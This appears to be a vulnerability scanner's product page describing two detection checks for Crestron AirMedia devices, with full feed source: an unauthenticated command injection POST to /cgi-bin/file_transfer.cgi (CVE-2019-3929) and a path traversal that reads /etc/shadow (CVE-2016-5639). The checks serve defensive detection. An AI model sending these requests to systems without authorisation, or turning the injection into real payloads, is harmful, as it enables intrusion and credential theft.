Crestron AirMedia — 2 vulnerability checks

noctis ships 2 vulnerability checks for Crestron AirMedia, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Barco/AWIND OEM (Crestron AirMedia) file_transfer.cgi Unauth Command Injection

CVECVE-2019-3929
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/crestron-airmedia/CVE-2019-3929.yaml

Tests the Barco/AWIND OEM presentation platform (Crestron AirMedia AM-100 / AM-101, WePresent, Extron ShareLink and rebrands) for the unauthenticated OS command injection in /cgi-bin/file_transfer.cgi (CVE-2019-3929, CISA KEV). A POST injects an empty-command-substitution payload `;echo NOCTIS$()<token>` into the vulnerable parameter; a real shell collapses it to `NOCTIS<token>`, which the feed confirms by matching the per-run random token. Reflecting or constant-marker responses do not fire.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /cgi-bin/file_transfer.cgi with a crafted body
  3. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: Barco/AWIND OEM command injection confirmed on /cgi-bin/file_transfer.cgi — empty-substitution payload collapsed to the per-run marker in t…

References:

Feed source — tests/vulnerabilities/crestron-airmedia/CVE-2019-3929.yaml
# Barco/AWIND OEM Presentation Platform (Crestron AirMedia AM-100/AM-101,
# WePresent WiPG, Extron ShareLink, Teq AV-IT, SHARP PN-L703WA, …) —
# unauthenticated OS command injection in /cgi-bin/file_transfer.cgi.
#
# The OEM web console builds a shell command out of a POST parameter to
# file_transfer.cgi without sanitising shell metacharacters, so an
# unauthenticated request achieves arbitrary command execution as the web
# server user. CISA KEV. Public PoC: https://github.com/xfox64x/CVE-2019-3929.
#
# Detection (safe, active, confirmed execution — QoD 97):
#   1. script  — generate a per-run random token (rand_hex(16) → 32 hex chars)
#                and the expected marker "NOCTIS" + token.
#   2. http    — POST file_transfer.cgi, injecting `;echo NOCTIS$()<token>`
#                into the vulnerable parameter. The `$()` is an *empty* command
#                substitution: a real shell collapses `NOCTIS$()<token>` to the
#                joined `NOCTIS<token>`; an inert reflection (no shell) keeps the
#                `$()` literal, so the marker never forms.
#   3. match   — the joined marker (NOCTIS followed by exactly the 32-hex token)
#                must appear in the body. A constant-marker or reflecting server
#                cannot produce this run's token, so neither fires.
# The echo is inert — no file read, no network callback, no destructive write.
uid: 85ac78b0-f76c-4f32-bcc0-8bbc1120306e
name: "Barco/AWIND OEM (Crestron AirMedia) file_transfer.cgi Unauth Command Injection (CVE-2019-3929)"
description: |
  Tests the Barco/AWIND OEM presentation platform (Crestron AirMedia AM-100 /
  AM-101, WePresent, Extron ShareLink and rebrands) for the unauthenticated OS
  command injection in /cgi-bin/file_transfer.cgi (CVE-2019-3929, CISA KEV). A
  POST injects an empty-command-substitution payload `;echo NOCTIS$()<token>`
  into the vulnerable parameter; a real shell collapses it to `NOCTIS<token>`,
  which the feed confirms by matching the per-run random token. Reflecting or
  constant-marker responses do not fire.
cves: [CVE-2019-3929]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [crestron, airmedia, barco, awind, wepresent, command-injection, rce, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-3929"
  - "https://github.com/xfox64x/CVE-2019-3929"
  - "https://www.tenable.com/security/research/tra-2019-20"

steps:
  # Per-run random token + expected joined marker. rand_hex(16) → 32 hex chars.
  - id: gen-token
    action: script
    code: |
      let t = rand_hex(16);
      #{ tok: t, marker: "NOCTIS" + t }
    store_as: inj

  # Unauthenticated command injection into file_transfer.cgi. The payload is
  # URL-encoded form data: current_path carries `;echo NOCTIS$()<token>`.
  # `$()` = %24%28%29 ; `;` = %3B — sent verbatim in the body (reqwest does not
  # normalise bodies, unlike paths), so the shell metacharacters reach the CGI.
  - id: inject
    action: http_request
    method: POST
    path: "/cgi-bin/file_transfer.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "file_transfer=Download&type=1&current_path=%2Ftmp%3Becho+NOCTIS%24%28%29{{inj.tok}}&download_path=x"
    store_as: resp

  # Confirm execution: the joined marker (NOCTIS + exactly this run's 32-hex
  # token) must appear. The regex requires 32 hex chars immediately after
  # NOCTIS — a literal `NOCTIS$()<token>` reflection cannot match it — and the
  # stridx condition additionally pins it to *this* run's token.
  - id: confirm
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "resp.status == 200 && stridx(resp.body, inj.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Barco/AWIND OEM command injection confirmed on /cgi-bin/file_transfer.cgi — empty-substitution payload collapsed to the per-run marker in the response, proving shell execution"
      stop: true

Crestron AirMedia AM-100 login.cgi path traversal file read

CVECVE-2016-5639, CVE-2016-5640
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/crestron-airmedia/CVE-2016-5639.yaml

Sends a ../ traversal in the src parameter of /cgi-bin/login.cgi and reports when the AirMedia AM-100 returns the root entry of /etc/shadow without authentication.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../../../../../../../../…
  2. Checks resp.banner for (?im)^HTTP/1\.[01] 200[\s\S]*root:.*:0:0:99999:7::: → finding QoD 97: Crestron AirMedia AM-100 returned /etc/shadow (root entry) through a ../ traversal in the /cgi-bin/login.cgi src parameter

References:

Feed source — tests/vulnerabilities/crestron-airmedia/CVE-2016-5639.yaml
uid: ec9915a9-6352-42f2-ac3a-5fb360549979
name: "CVE-2016-5639 — Crestron AirMedia AM-100 login.cgi path traversal file read (CVSS 7.5)"
description: "Sends a ../ traversal in the src parameter of /cgi-bin/login.cgi and reports when the AirMedia AM-100 returns the root entry of /etc/shadow without authentication."
cves: [CVE-2016-5639, CVE-2016-5640]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.25
tags: [crestron, airmedia, lfi]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-5639"
  - "OpenVAS NASL 2016/gb_crestron_mult_vuln.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2016/gb_crestron_mult_vuln.nasl (GPL-2.0-only, Greenbone Community Feed).
# Faithful: request the exact NASL URL, then confirm BOTH the response status line and the
# plugin's confirming marker — a bare 200 with no marker does not fire (non-trivial negative).
steps:
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../../../../../../../../../../etc/shadow HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: '(?im)^HTTP/1\.[01] 200[\s\S]*root:.*:0:0:99999:7:::'
    on_match:
      finding:
        confidence_delta: 0.7
        qod: 97
        evidence: "Crestron AirMedia AM-100 returned /etc/shadow (root entry) through a ../ traversal in the /cgi-bin/login.cgi src parameter"
      stop: true

View these feeds on GitHub